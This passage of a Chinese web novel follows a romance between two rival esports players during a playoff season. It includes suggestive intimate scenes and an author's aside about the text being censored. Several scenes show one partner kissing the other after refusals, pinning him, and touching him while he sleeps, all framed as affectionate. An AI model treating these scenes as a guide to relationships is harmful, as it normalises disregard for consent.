给池一黎说时他都已经下完单,图片上那件蕾丝女仆装过于惊悚,池一黎不由得陷入沉默。那是件超短裙,黑色环脖衣领连着腰腹可怜的一小片布料,在胸口处围出了很大的菱形镂空,完全没有起到遮盖任何部位的作用。 池一黎再看一眼,名字叫什么“女仆大人性感纯欲吊带睡衣(秘密发货)’,抿着唇没有点下去头。 牧绍哄他说自己都已经买了,池一黎看着高昂的价格凝眉半晌,还是没能开口拒绝。 只要没有立刻明确说不,那就统一代表着默认,牧绍心满意足地亲了口他,美滋滋地搂着他入睡。 池一黎闭上眼睛,牧绍的手顺势就熟练地探进去捏。身体敏感一颤后都快要习惯起来。池一黎抿住唇,咽下呼之欲出的暧昧音节,把自己埋进牧绍怀里没有说话。 虽然池一黎本身话就不多,但最近几天复盘时,说话简直堪称一字千金。 在五天休赛期的最后一天晚上,韩城看着自己出错的地方,开始怀疑起这一切都是ZKS的诡计: 牧绍天天缠着他,目的就是为了让池一黎说不了话。 池一黎不说话,他们就会关心,关心就会打岔,打岔时就开始胡思乱想。注意力不能很好的集中,就不能进行完美的训练复盘,赛场上就发挥不出百分百的能力,于是ZKS就能无伤夺冠。 可恶,好险恶的手段!好歹毒的伎俩! 韩城一边和预备女朋友发消息一边流泪咬手帕。女生的职业是游戏测试工程师,安慰他说安啦安啦,这赛季改版ZKS擅长的英雄数值本身就天克HWD,就算总决赛棋差一招也没有什么的。而且她相信他们总有一天会赢。 总有一天是哪一天?!韩城看到右下角时间跳到九点五十八,还差两分钟就训练结束。他关掉对话框,慢吞吞地移动电竞椅滑到池一黎身边。 室内开着暖风,池一黎没有穿可拆卸的毛绒内胆,橙白色的高领冲锋衣将痕迹尽数遮盖。 他只露出下巴以上的脸,神色不变地飞速按着键盘。手指修长有力,眉眼微压,透出专注与锐利,整个人像冰刃般锋利。 明天季后赛就要开始,韩城安静看了一会儿他的操作,感叹了一句自己家大宝贝就是如此令人安心,翘起腿把杯子推过去:“三水啊,你要再喝点水吗?” 十点的结束铃响起,池一黎把游戏退出淡瞥他一眼,没有说话,只摇了摇头示意自己不渴。 天杀的!孩子都被牧绍弄成哑巴了! 庄路弥滑着凳子过来把杯子按下去:“三点水不想喝就不喝了,韩狗你一天问一百次了,我都嫌烦!” 韩城倔强地慢动作放下温度刚刚好的杯子。余光里,看到自家训练室的门被一个身量极高的男性毫不见外地推开。 牧绍嘴角漾笑地几大步走过来,指节分开扣住池一黎搭在鼠标上的右手,嘴里叼着根橙子味的棒棒糖,开口就示意道:“他先和我回去了。” 韩城站起来说:“不是村长,哥们给你说,你不能天天不分昼夜地……” 收拾资料的白书罗瞬间感到头疼,为了防止他说出什么虎狼之词,秒速插话笑起来:“好,那你们先回。” 池一黎站起身,视线落在正在关机的电脑上,任由牧绍牵着他,没什么表情地转头向他们点头示意。 好兄弟胳膊肘往外拐,他能怎么办。韩城闭上了嘴。 没有赛事的时候地下通道不对外开放,两个人抄近路走到停车场。 牧绍把棒棒糖棍扔在垃圾桶里,上车后熟练地贴过去亲他。舌头刚刚滑到唇齿,就被轻轻咬了一下。 池一黎没有闭眼,浅色眸瞳在照耀下反着冷色调的光。牧绍当做看不懂这个警示,手掌扣住池一黎的后脑,在他反应前快速低下头狠狠亲了下去。 舌尖长驱直入纠缠在一起,甜腻的气味混杂着薄荷味道涌来,牙齿磕碰的微弱声音响起,水声缠绵,寂静的车内空间里,只能听到彼此乱糟糟的心跳。 急促而炽热的气息交织,池一黎被亲的发闷,呼吸破碎一瞬,牧绍退回去后,起伏了几秒才侧头抬眼看他,抿唇时的表情莫名有点小小生气。 池一黎语调微哑,说话时音调缠绵在一起,闷闷地听起来就像是在撒娇:“今天回你房间睡。” “好啊,”牧绍帮他系上安全带,懒散接话道,“就是我房间里还没有收拾……” 池一黎打断他:“我是说,你回你房间。” “怎么又赶我走,”牧绍立刻露出一副委屈的表情,嘴角却微微上扬。看着他浅色的眼睛,又贴过去轻轻舔了舔他水润的唇瓣,“宝贝儿池一黎,我最近可是什么都没干。” 第54章 不知道是哪句话惹到池一黎不开心, 他一路表现的都不太想和牧绍说话。 牧绍说七八句,他才挑一句自己喜欢听的闷闷地嗯一声当作回应,像自带语言过滤器一样, 回复的语调很短,简单的就像是皇帝在施舍。 但至少还有回应,牧绍便故意说几句玩笑话逗他。池一黎下意识要开口反驳, 但思索了半秒,最后只浅浅抬了下眼皮,在牧绍勾着唇继续拖长腔调想要说完时, 又把头转过去当什么也没有听到。高冷的人设被他发挥到了极致, 不管牧绍再说什么,都极其吝啬地不给予一点回应。 他把视线凝结在车窗的倒影上,领口因为转头的动作微微歪斜, 皮肤在昏暗的光线下近乎瓷白刺眼,露出的一截脖颈白皙光滑。 上面隐约可见几点淡淡的红痕,像是某种隐秘的标记,格外冷峻的侧脸也映衬地多了几分模糊的暧昧。 池一黎这副闹脾气的样子太难见到, 跟视频里不理人的雪貂一模一样, 牧绍在哄他前决定先欣赏一会儿。池一黎把手插到兜里不让牵,就一路慢悠悠地跟在他身后半步远的距离走到大厅。 眼前的人走路的速度不急不缓, 牧绍光明正大地观察他。池一黎踩着灰色低帮板鞋,黑色牛仔裤的裤腿落在跟腱上方, 脚踝处微凸的骨节圆润骨感,看起来纤瘦有力。 他顺着修长有力的双腿一路扫去,经过被冲锋衣下摆盖住的大腿根部,回忆起揉捏时紧致软绵的手感,不由得喉结微动。 衣摆随着池一黎迈腿的动作波动, 牧绍视线向上转移,从挺直的背脊落到左侧衣兜和袖口之间露出的那一截雪白腕骨上。 似乎是感知到他毫不掩饰的目光,池一黎从衣兜抽出手将拉链高高拉到领口,回眸很轻地看他一眼,微微立起的衣领盖住大半张脸,微长的碎发下,只模糊露出一双淡漠薄凉的烟灰色眼睛。 远远看去,他整个人冰凉疏离,像是冬日的寒风。身上冲锋衣队服的版型恰到好处勾勒出身型,线条利落,橙白分明,带着几分凌厉的干脆,站在那里就难以忽视。 牧绍迈两大步走到他前面,手臂一伸,学电视剧里那样,自然而然护在他身侧把他送进电梯。见到池一黎没有再次把手缩回去的倾向,收回胳膊时方向一拐,顺手试探性地捏了捏他的手指。 池一黎没有躲,任由他分开指节把手扣进去。指尖相触的温度传来,牧绍微微倾身,将脸贴上去再次打算亲他。 那股甜腻糖果的味道似乎还在口腔打转,池一黎软化几分的态度因为他的靠近而变得冷酷起来,微微歪了下头,避开了这个吻。 温热的唇瓣落到微凉的脸颊上,牧绍一次没有亲到,压低声音在他耳畔道:“池一黎,不要不理我。” 他捏着池一黎的指节认错,路上遇到几个眼熟的职业选手,看到他这副哄人的态度,不可置信的地眨眼,露出跟见了鬼一样的表情。 牧绍又是发誓自己已经深刻认识到事情的严重性,又是保证自己再也不随便凑过去亲他。回到房间,池一黎才屈尊降贵地开口,说要他陪自己继续把没有玩完的双人游戏过掉。 这款游戏从第二天晚上开始打,陆陆续续抽空打到即将结局,到昨天的时候就已经只剩下了一个章节。牧绍从身后把他揽到怀里,用手戳了戳他的腰,问他游戏从早玩到晚怎么还一点也不会腻。 说完这句话,牧绍还不忘记一直心心念念的目的,亲上来的速度太快,池一黎没来得及躲,就被他结结实实吻在唇角。 池一黎垂眸扫了眼他探进来的手,拽着衣服卡在中间,不让他向上摸,语调简单冷漠:“你怎么还没腻。” 和喜欢的人接吻怎么会觉得腻,而且这个人还会给出很有趣的互动反应。牧绍被他举的反例逗笑:“宝贝儿池一黎,你怎么这么可爱。” 池一黎当没听到这句话,牧绍轻轻咬住他的耳朵,同时捏了捏手心的腰窝,感受到手下的身躯微不可察地骤然紧绷,想了想,诚实地补充说:“而且我也不能从早玩到晚啊……何况你这么好玩。” 牧绍最近说过太多类似于这种调情的话术。两个人亲密接触时,比这更露骨的也已经听过无数次。即使眼尾因为他的行为迅速爬上红晕,池一黎心理上也已经完全免疫。 他试着去移开牧绍搭在腰间的手,后者意外地配合,随着他的动作松了力道。 “一点儿也不好玩。”池一黎重复道,继而转过身看他,“陪我打游戏。” 被这双雪一样的浅色眼睛略微不满的看着,只半秒不到牧绍就败阵下来,捞起一旁的手柄陪他把结局打完。 过CG动画时抬头看时间,已经将近凌晨零点。 池一黎手柄一放就不认账,站起身后语调言简意骇:“我要睡觉了。” 牧绍把下巴轻轻放在他肩膀上,伸手一捞,想和之前几天一样抱着他去洗漱,懒洋洋道:“明天晚上开幕式,我们可以中午起床。” 池一黎唇线渐渐平直:“你回你房间。” 池一黎好像打定主意要让他回去,牧绍先是说自己的房间太乱太久没住人,现在没有办法睡,池一黎冷漠地回复他:那现在回去收拾刚好;于是牧绍又说自己的房卡丢了,池一黎掏出手机让他去联系酒店经理。 反反复复的话术都被驳回,看池一黎不吃这一套,牧绍干脆用胳膊禁锢住他的腰,膝盖一弯,再一倒,微微用力,就直接抱着他躺在了床上,打定主意要耍无赖到极致。 池一黎还没反应过来,已经失去控制地倒在牧绍身上。 他下意识把手放到身侧,想要平衡住自己的身体,却被牧绍扣着腰直接压下来。柔软的胸脯因为惯性撞到后者胸膛,紧紧贴在一起那瞬,颗粒被挤压的微弱触感都能被清晰感知。 熟悉的感觉酥酥麻麻地传到脑海,眼眶里生理盐水顿时开始打转,池一黎凝了凝神,看到自己额前黑色的发丝落到牧绍衣领。 薄薄的一层睡衣布料根本隔绝不住任何温度,更何况现在两个人肌肤紧密相贴,他眼神聚焦几秒,慢慢将胳膊绷直撑起身体,下一秒又被牧绍勾住腿弯。 大腿内侧的软肉丰腴饱满,牧绍微微一掐,细腻的触感就从指间溢出。他观察着池一黎秒速变红的眼眶,手上还勾着腿弯不放,连哄带骗地如愿让他跨坐在自己腿上。 池一黎侧过头,更加不想开口说话。 明天就要开始季后赛,牧绍晚上总是喜欢动手动脚,已经连续整整一周,虽然没有过多影响到日常训练,但是显然不能和正式比赛相提并论。而且作为敌对战队对手,两个人还是需要保持一定的距离。 牧绍自下而上看他,笑着勾唇打商量说:“我什么都不干,今天就只抱着你睡觉。” 池一黎手撑在他的腹部,能摸到衣服布料下紧实的腹肌轮廓,目光停留在床头那不论何时都被装满的水杯上半晌,眼尾都耸拉下来。 牧绍伸长胳膊捧起他的脸,让他低下头正对着自己:“池一黎,你怎么不说话。” 池一黎移动脑袋把头再次侧到一边,被牧绍稳稳托住重新转了回来。后者投向自己的视线过于灼热,池一黎完全忽视不了,索性垂下眼帘盯着他,眨眼时睫毛上下一闪,羽毛一样翻飞扫过,语气闷闷地回复:“不想理你。” 池一黎这句话听起来简直就是在赌气。牧绍松开他的脸颊,转而把左手放在他的腰际,指腹轻轻摩挲:“宝贝儿池一黎,不要生我的气,我已经知道错了。” 一句话完,他用右手握住池一黎的手腕,移动到自己脸侧,接着开口说:“你生闷气我会担心,如果实在生气,要不要打我一下解气?” 池一黎不由得凝眉看他,慢动作摇摇头,试图把自己的手抽回来。就算不太想理他,也觉得要认真地纠正他的说法。 “很不尊重你。”池一黎说,他不会这样干。 他尝试了好几次,都没有成功把手腕从牧绍的魔爪下解放出来。池一黎没用什么力气,但牧绍的力道大到惊人。肌肤相互摩擦,腕骨处很快就浮现出几道深色的指痕,在即将消散的痕迹上增添新印。 牧绍顺势放在唇边,很轻地吻了两下,刚抬起眼想说什么,胸口一沉,一连串的水珠接连砸落,没几秒就迅速浸透了他的衣料,在布料上洇开一片深色的水痕。 “我已经说过好多遍,”池一黎安静地掉着眼泪,说话时语调也没什么起伏,就只是单纯的阐述自己的想法,“牧绍,你总是随便亲我。” 从一开始就是,他没见过什么人能有牧绍这样的厚脸皮,次数多了都已经习惯起来,但是不想被亲的时候就觉得好烦好烦。 宽松的睡衣在动作间微微敞开,右侧领口悄然滑落到肩头,精致的锁骨缀在那里,露出一半被揉成粉白色的浑圆胸肌。 牧绍抬起手伸过去,差一点就能挨到,池一黎声音就在上方很低地响起:“你又在耍流氓。” 池一黎低头注视他,神色淡淡的面容上,水雾掩盖的眸瞳如同湖泊里的月光,细碎而湿润。 牧绍碎发凌乱,五官毫无保留地展露出来,眉尾上挑,看起来有些过分不怀好意。他嘴角噙着笑,动作不急不缓地帮池一黎把领子拉好,先是顺着他的意思认错,接着提出自己的观点:“但是我是你的男朋友,我不可以亲你吗?” 池一黎掉落的眼泪滞空一瞬,攥住他的衣服布料,完全没有反应过来,顺着他的意思回复道:“可以。” “我也没有随便亲你。”牧绍继续说,“你明确拒绝的时候,有人在的时候,表达出自己不愿意的时候,我都已经克制住了。” “而且——”牧绍拖长语调,故意失落地说,“在一起这么久,你从来没有亲过我,现在还不允许我去亲你,那是不是对我有些太不公平。” 房间随着他的话语寂静下来,池一黎犹豫了一下,看到牧绍好像真的很受伤的样子,攥着他衣服的手都卸了力气。 牢牢钳着腰侧的手突然被牧绍抽离,失去稳固的支撑点,猝不及防地……这一段真的毛线蛋蛋都没写,真的服了烙铁,就单纯坐在人家身上有什么问题吗?锁六次了,两个人毛线团子也没发生。 池一黎不由得愣了一下,难耐的回忆涌上脑海……也就涌上脑海了而已现实里什么都没干,这一段原谅在下不才,想破了头也想不通到底为什么会被反反复复标出来。 柔软就这样投怀送抱,牧绍仔细观察了几秒池一黎,垂眸凝视对方轻颤的睫羽,喉结在阴影里无声滚动。嘴角疯狂扬起的笑意有些掩盖不住,被他硬生生绷直,装出一副仍然沉浸在落寞中的样子。 隔着衣物传来的体温逐渐攀升,池一黎的手掌撑在牧绍的胸膛上,从刚刚的惊变中慢半拍地回过神。抬眼注意到他的神色,结合他所说的话语,微微思考几秒,缓慢地俯身贴过去。 牧绍就像是没有注意到他要干什么一样,目光只落在旁边的空气里,对着怀里的人置若罔闻,对他贴近的行为也没有任何表示。 两个人的距离近在咫尺,池一黎浅浅地抿住唇,闭上眼睛时,睫毛还在不断地微微颤抖,眸瞳里的水雾一片,动作很轻地主动吻在他的嘴角。 这个吻轻得像是初春时节融化开的雪水,温软稍纵即逝。灼热的呼吸都还没有开始交缠,池一黎就已经退回了身体。他很快地抬眼扫了牧绍一眼,又和什么都没发生一样想要撑着自己站起身。 这一连串的行为发生在一瞬间,池一黎贴上来的那瞬间甚至一点感觉也没有。但牧绍把他耳畔的薄红尽收眼底,眼睛骤然亮起来,脑海里妄图得寸进尺的计划只进行到一半,身体便已经先一步行动起来。 池一黎感觉到眼前一晃,就被他一个揽腰翻过来压在身下,转变发生在顷刻之间,牧绍用膝盖强势地卡住他的双腿,力道很大,池一黎整个人完全不能移动分毫。 唇瓣被沿着一路舔咬,牧绍俯下身,舌尖轻车熟路地探进去,狠狠地加深了刚刚的那个吻,毫不客气地掠夺起他嘴中的空气。池一黎的呼吸被剥夺一瞬,眼泪立刻止不住地滚落下来。 泪珠流到脸侧的发丝,牧绍用手指抚过他颤抖的睫毛,又碰了碰他的眼尾,语气都带着点笑意,故意问他:“娇气包池一黎,你怎么越来越爱哭了。” 很明显,牧绍刚才的那副态度都是装出来的。池一黎感觉遇到他后自己的智商都在极速下降,同时也越来越容易掉眼泪。 他想了想半秒钟,抬头尽可能平静地明确指出来,但还是觉得有些委屈:“是你在欺负我。” “我怎么会欺负你,”牧绍看他,池一黎的睡衣变得乱糟糟,胸前的风光什么也遮盖不住,他果断将浑身重量都压下去,熟练地把自己埋到他脖颈处蹭了蹭,说,“我明明一直在心里想的是,你永远也不会掉眼泪。” 池一黎很久都没有开口回话,牧绍看着他流淌的浅色眼眸,舔掉落在脸侧的泪珠,笑起来说:“我想的是……你会因为有开心的情绪所以流泪,因为感觉到欢愉所以落泪。这世界上所有的一切对我而言都是讨你开心的礼物,不会再为任何其他事情伤心难过。” “当然。”牧绍又紧接着补充,笑了声说,“我惹哭的除外。” 池一黎还没有把他的那段话解析完毕,手指刚开始无意识地握住身侧的被料,就被牧绍再次握住。 牧绍将他的手指一根根掰开,然后十指相扣地举起来,脑袋侧枕在他敞开衣领中柔软的胸口,语调懒散洋溢道:“池一黎,反正就算现在你嫌我烦,你也甩不掉我了。” 就像是不烦就可以甩掉一样。池一黎答应时就已经做好了和他一直在一起的准备。 被他这样抱着怀里一说,池一黎已经完全忘记了自己一开始要干什么。过了一会儿,似乎是想通了什么,开口时声音低的几乎听不见:“……随便你。” 第55章 季后赛开幕式在晚上九点半开场, 俱乐部已经提前给赛事方提交了战队宣传视频和选手个人介绍mv。 其余有互动需要的活动会采用个人3D投影进行,不强制要求每个选手都到达现场参与。 池一黎在后台战队休息室坐老板椅,叼着杯子自带的吸管看才公开的赛事安排。 他最近胃口都很一般, 杯子里面泡的是牧绍前几天熬的柠檬糖浆,加了冰块,味道不算太甜, 在开足暖气的室内喝刚好。 还没有下午来场馆前牧绍烤的那个小蛋糕甜,池一黎吃了几口就吃不下。韩城和徐克山勾肩搭背地经过小厨房,路遇刚出炉的香喷喷小蛋糕, 风卷残云之际, 被牧绍毫不客气地一人踢了一脚。 韩城把嘴里蛋糕堪堪咽下去,转头就喊冤:“三水,你真不考虑和他分手吗?他这么暴躁的以后肯定会家暴啊!” 池一黎把纸递给他, 示意他把掉到衣服上的蛋糕擦一下。 徐克山在一旁赞同地点点头,刚喊出偶像两个字,被牧绍挑眉一扫,又飞快摇摇头, 大大咧咧地继续说:“三水哥, 我给你说,虽然勺儿脾气不怎么样, 看起来四面八方都不及我偶像你半分,但你不和木勺儿在一起, 其实也能无痛归属我们ZK……” 牧绍把池一黎放在盘子上的金属叉子拿到手里,刚给自己舀了一口塞进嘴,还没有对他这句话做出什么表示,韩城先一步转头怒目而视。 他当即大怒:“好你个活泼黄毛体育生,我势必要把你在上路抓成痛哭流涕体育生!” 体育生徐克山有些可惜地说:“那你只能等到七天后了。” 开幕式后的首场对决是其他两个战队, 按照流程走不出意外的话,HWD战队的比赛时间是二五,ZKS战队的是三六,七天后决出总决赛的两队参赛者,再五天后决出总冠军。 没有任何紧张的氛围。冯宙仍然在他原本的战队串门,教练在沙发上深沉地看足球比赛的解说回放,见到在伊万老登超绝战术的带领下成功7:0的优秀球队,握着战队资料冷哼一声。 韩城和庄路弥一左一右地坐在池一黎两侧嗑瓜子。挂在白板旁边的大屏幕正在播放台上的场景,画面正中间,穿着队服的白书罗和从松闵正分别站在主持人两侧温和浅笑。 “我看看啊……”韩城跟着主持人的声音掏出手机,他扫了下屏幕右侧的二维码,等到页面刷新完成后啧道:“今年的三等奖是游戏机,二等奖是联名键盘……等一下我靠!一等奖竟然是全套现役选手单人小卡?!不尔这是哪个人才想出来的?!哪个人会要这玩意啊,把老子拍那么丑的,到底是谁在收集?!” 庄路弥忙着在联盟群舌战群儒。池一黎退出官网界面,思考了一下,抬眼接话道:“……你粉丝?” 韩城无话可说,在心里为买账的粉丝默默祈祷。 就和他喜欢收集角色周边卡一样,粉丝也喜欢收集选手卡片。池一黎去年的五十张印签卡现在一张都已经被炒到了三万多,比娱乐圈爱豆全球限量的打歌卡都要贵。 屏幕上互放狠话的环节伴随抽奖结束,现场提问开始进行随机选取。屏幕上滚出C区号码,抽到的是一位女粉丝。 她在一片发光的橙色应援物中站起来,问台上两位队长对于战队‘联姻’这件事有什么看法。 庄路弥一边打字一边大呼世道险恶:“我们粉丝?好歹毒的磕药鸡!这个问题放在这太难为队长了吧!” 台上纯黑色队服的从松闵微笑接话:“你是问看法吗?我相信木勺会好好对三水的。” 橙白色队服的白书罗跟着嗯了一声:“我的看法是他俩都挺好的。” 下一个被抽到的粉丝从一片发光的红色应援物中站起身,问联姻的话哪家是主哪家是亲,两个战队粉丝已经因为这个吵了好几个月。 从松闵看着自家应援色继续微笑:“从战队成绩到两个人感情,不管怎么看,都会是池三水嫁过来啊。” 按照两个人最近的相处模式,白书罗无法反驳这句话,但他致力于维护联盟冰山皇帝池一黎的外在印象,呵呵一笑,开口道:“虽然很欢迎村长进宫选秀,但那一幕未免也太过于惊悚了一点。” 这句话乍一听幽默风趣,但换个意思就是在认同从松闵说的话,完全没有起到任何挽尊的作用。 池一黎没什么表情地继续喝水,韩城激动地站起来喊:“应该我来回答啊!就直接喊出池一黎是联矿一啊!” 他转头紧紧盯着池一黎:“三水,你是1吧。” 庄路弥跟着把眼睛从屏幕上移开看他。 池一黎咬着吸管,当事人两个月来第一次回应,淡定地“嗯”了一声。 池一黎从不说谎。 于是线上粉丝群和现役选手内部开始各炸各的。 简单的一个字在群聊内部传了好几轮,WQG打野看到正主亲口承认的结果不由得深感舒适。全网都在激烈讨论起玫瑰迟暮应该改名叫玫瑰暮迟时,他在直播中带着前者的tag公屏发微博,以此深刻地表明自己坚定的立场。 有他带头,哗啦啦地引起一大片跟风潮流。 凌晨十二点,牧绍随意看了几页伍于起分享的热搜广场截屏,笑了下,懒洋洋地回了一句你猜,把手机塞进队服外套的兜里。 推开门走出去,他一眼就能看到走廊尽头的那个人,冷白皮在昏暗灯光下几近于晶莹剔透般的精致,处于人群里像是在发光。 池一黎安静地听队友说话,余光见到他走来时,放下水杯微微侧头,轻抬眼皮把目光转移过来。 这同一幕场景如果放在微博,粉丝会说冰山帅哥这副面无表情的姿态简直酷的过于超过,轻扫过来的那一眼不含任何情绪,薄凉的神色处处透露冷淡,站在那里就显得居高临下。 但是牧绍看到他拿着杯子的那只手,越想越觉得粉丝哪里来的那么多高冷滤镜。 橙色的队服袖口松松垮垮地堆叠在池一黎手腕处,随着手臂的自然下垂,衣袖耸拉下来,几乎遮住了整只手,只露出一截修长的指节,微微弯曲勾住杯绳。 场馆外面很安静,这个点粉丝已经全部清场。牧绍走过去,朝白书罗点了点头,抬起手轻轻碰了下他。 指尖传来的触感有些冰凉。牧绍捏了捏池一黎的指腹,将杯绳移到自己的小拇指上,再用食指紧紧勾住他露在外面的手指。 不同于十指紧扣,气氛一瞬间莫名其妙地有些过于暧昧。韩城他们几个见牧绍来后就先一步离开,池一黎安静地垂眸看了一会儿他手上的动作,没有等到预想中日常惯例的见面吻。 不知道是不是看球赛的原因,老梁今天话格外的多,絮絮叨叨的嘱咐完已经十一点四十多。ZKS的门没有打开的迹象,韩城本身说让他和他们一起回,但牧绍没有回消息,池一黎觉得一个人先走掉不太好,白书罗他们就陪他一起站在这里。 好在没过几分钟,牧绍就推开门走了出来。 “怎么没有先走?”牧绍贴着他问,“现在已经很晚了。” 池一黎说:“在等你。” 牧绍嘴角上扬,单手捧住他的脸,倾身用额头贴住他的额头,胡乱蹭了一下眉眼上方微长的发丝,蹭的两个人相挨的地方起了静电,黑发凌乱地分散开来。 眼前的人像是炸了毛的懵懵雪貂,牧绍捋捋他的头发,侧身从后方环抱住他,还不忘记勾住他的手指,把脑袋埋到他的后颈处:“池一黎,你怎么这么……” 话语停在咽喉,他慢悠悠地抱着池一黎往前走。池一黎走一步,他就跟着走一步,夜晚静悄悄,两个人就这样一步一步地走了一路,直到池一黎突然停住步伐,他才把下巴搭在肩膀上问:“怎么了?” 池一黎沉默了半晌,语气有些不解:“……你怎么没有亲我?” 牧绍挨着他的耳朵闷笑,反问道:“一天只有三次,现在刚过凌晨零点,现在亲了的话,那之后的二十四小时我怎么办?” 他昨天和牧绍约法三章: 第一条是每天最多可以不经过他同意亲他三次,牧绍点头说遵命。 第二条是不准在公共场合有人时做出任何过于亲密的举动,牧绍也点头说没问题。 第三条是马上要比赛,晚上睡觉时牧绍不能再把手伸进来到处乱摸,也不可以上嘴。 牧绍每次碰一下他都要颤抖好久才能回神,神经长时间处于敏感紧绷的状态,池一黎早上在训练室握鼠标,都仿佛感觉有人在背后顺着背脊一路向前摸他,那双温热的手指略过凸起的蝴蝶骨、掠过腰腹、再轻轻捏住……回忆起那一刻的战栗,手指忍不住蜷缩一瞬。 牧绍听完第三条后问他:“我在你心里难道是个色情狂魔吗?”见到池一黎没有思考地点了点头后,神色难得变得有些认真起来。 “但是我忍不住。”牧绍思考了很久后抬头说,“我一天只有晚上能碰到你。”他搂着池一黎轻声哄道:“我前两条绝对遵守,可不可以修改一下帝国的第三条律法。” 池一黎改了好几次,牧绍都表现的很是为难的样子,还搬出了两个人在谈恋爱的那一套理论,于是池一黎连续修改措辞,最后把第三条改成了可以把手伸进来,但是不能到处乱揉,也不可以上嘴。 牧绍垂头丧气地说好,看样子第三条对他而言非常苛刻。池一黎慢慢点了点头,宣布约法三章正式实施。 一天只能亲三次确实是他自己提出来的,只是被牧绍这些天从不间断的早安吻晚安吻见面吻亲习惯了,池一黎那一瞬间才觉得少了点什么。 他抬起腿继续往前走,牧绍在他耳边缠着他说:“亲爱的池一黎,宝贝儿池一黎,娇气包池一黎,你亲亲我,你亲我就不算数。” 池一黎脚步一顿,抿起唇,侧头冷下脸反驳他:“你才是娇气包。” 烟灰色的眸瞳微微一瞪,牧绍果断顺着他的话继续耍赖皮,故意说:“那我需要池一黎的亲亲,不然我这个娇气包就会死掉。” 池一黎转回头,冷酷无情地说:“那就死掉吧。” 牧绍压低声音:“但是我死掉,你就失去全世界对你最好的男朋友了。所以我会一直憋气,直到池一黎亲我为止。只有池一黎的亲亲可以救我,我真的真的要……”他抱着池一黎的手都松了力道,声音渐渐低了下去。 池一黎半天没有等到他的下文,连忙转身看他,见到牧绍果真闭上眼睛,脸颊微微鼓起。要不是下一秒牧绍就偷偷睁开眼睛,速度飞快地看了眼他又闭上,池一黎会以为他真的在憋气。 哪怕心里有准备,池一黎还是再次刷新他的不要脸界限,抿唇评价道:“牧绍,你演技好差。” 牧绍仍然闭着眼一动不动,铁了心要等他亲他。池一黎盯着他看了几秒,见他这次真的连呼吸都屏住了,明知道他可能还是演出来的,但还是忍不住靠近了点。 他在即将触碰到的距离停住,眸光微闪,半天没有下一步的动作。呼吸声近在咫尺,牧绍猛地睁开眼睛,一把将他搂进怀里,不用低头,微微一动两个人的唇瓣就已然挨住。牧绍愣了一下,随后毫不客气地吻在他送上门的嘴唇上。 “从视频里学的,”牧绍咬住他的唇瓣,又松开嘴示意道:“就知道你舍不得我。” 池一黎垂下眼帘不看他,觉得唇瓣都要被他咬的印上齿痕,语调低低地说:“你幼稚死了。” “有心软的池一黎在,我不可能会死掉的,”牧绍蹭了蹭他的脸,笑道,“池一黎天天亲我,我就天天反复起尸。” 池一黎看起来对后面那句话接受无能,牧绍换了个词:“那我天天反复弹跳?天天心花怒放?天天精神抖擞,天天欲壑难填……” 牧绍简直越说越离谱,还越说越往通过不了审核的道路上拐,池一黎再一次不想和他说话。 牧绍废话连篇地说:“那我今天只剩两个可以亲你的机会了。我想要给你晚安吻,但要留着一个到明天中午起床,减去中午起床的话就只剩下一个。下午到晚上睡觉还有十二个小时,我要把那一个留到睡觉前,但是下午那十二个小时我该怎么办,我想亲你的时候如果你不同意,虽然好像你不会不同意……” 这段无意义的话没完没了地反复重复,池一黎整个人变得冷冰冰,抬眼冷酷道:“再说的话,就不准亲我了。” 这句话杀伤力太大,牧绍立刻作势拉起嘴巴上无形的拉链。 到酒店房间后池一黎一个人先去洗漱。牧绍收拾好时,他已经躺在被子里闭上眼睛。 牧绍把自己滑进去从身后搂住他,双手探进衣服随手一放,就准确地放到了想放到的目的地上。 池一黎下意识缩了一下,反而更加把自己窝进牧绍怀里。他闭着眼睛,语调困倦,还不忘记提醒牧绍:“不可以乱摸。” 牧绍左手安分地停在他的大腿侧,另一只手环过他的腰腹搂住他,最后随意地搭在他的胸膛,无辜地眨了眨眼:“我就这样不动。 池一黎闷闷地“嗯”了一声,左右没有想到有什么不对,似乎是相信了他的话,缩在他怀里,渐渐将意识放松入睡。 直到听到池一黎绵长安静的呼吸声,牧绍才动了动,张开手轻轻地用食指指腹碰了碰他的皮肤。 伴随着牧绍的动作,池一黎微微凝眉,敏感的身体只隔着衣物碰触就会给出很有趣的反应,而且泪腺过于发达,眼眶还会自动泌出水润的痕迹,但没有要睁开眼睛的迹象。 牧绍轻侧头,就能看到他纤长的睫毛和高挺的鼻梁。他勾勒着怀中人的面容,对着那一点灰色的浅痣投去很久的视线。 轮廓冰冷锋利的人睡着后都会变得柔和起来,看不到那双烟灰色的漂亮眼睛,那点痣就变得像是白色画布上的水墨痕迹。为本就优渥的骨相更加添了几分韵味。 想着他们后天比赛,明天还要进行一整天高强度训练,他点了几下就收回手,将脑袋放到他后颈处随便蹭了蹭,最后只浅尝辄止地吻了吻他的耳畔。 第56章 季后赛如约开始, 赛程第二天晚上,HWD对局的战队是上一届积分排行榜单第六名,结果完全没有任何悬念。 灯光交错之下, 摄像机对准HWD战队所在的区域,大屏幕挨个显示出五位选手的高清大头,最后停留到池一黎分外冷淡的脸上不动。 场馆里空调开的很足, 下方很多进场时穿着羽绒服的粉丝都已经将外套脱掉。他还穿着拉到领口的高领冲锋衣外套,像是历经高温仍融化不掉的大型冰川,整个人自带冷冻特效。 坐在他旁边的庄路弥穿着橙白色的队服短袖, 一把摘掉有线耳机伸了个懒腰:“下一场是周五, 又得在训练室憋两天。诶三点水,你这个月直播时长还差多少,还是我帮你代播?” 韩城在一旁插嘴:“猴儿你也帮我代播一下?我真不想解说明天那可是的比赛, 看到村长耍帅我会吐。’” 冯宙把键盘数据线拔掉,转头冷笑:“你不好好学习研究人家的打法你还吐,怪不得你菜啊。” 一看冯宙就是年轻气盛,尚且处于剑指冠军宝座、斗志满满的奋发激昂状态。但韩城早被牧绍的打法摧残了整整七年, 即使年龄不大, 也是个实实在在的电竞老人,言语再怎么热血, 行动仍然完全燃烧不起来。 “我已经很努力了!”韩城悲痛道。他最近从早到晚天天刻苦训练,饭都减少到一天只吃三顿。 队内麦还没关, 耳机里仍然能听到队友的说话声。池一黎静静地看着眼前本场MVP角色的数据投影,正在展示的招牌动作已经在无数次的对局中看到过千万遍。 他最喜欢原皮的形态,但比赛时经理要求他用个人FMVP得奖时赛方定制的角色专属皮肤。眼前数据模型的活跃范围几乎包含了整个场地,斗笠下红色的寒光一闪而过,仿佛形如实质般肃杀尽显。 直到对方一个撤步收起刀站定不动, 池一黎才慢慢拆下耳机,听到解说台的两位职业解说正在变着花样夸人,解析回放画面,说最后一波团战时他皇三水也的入场时机简直妙不可言。 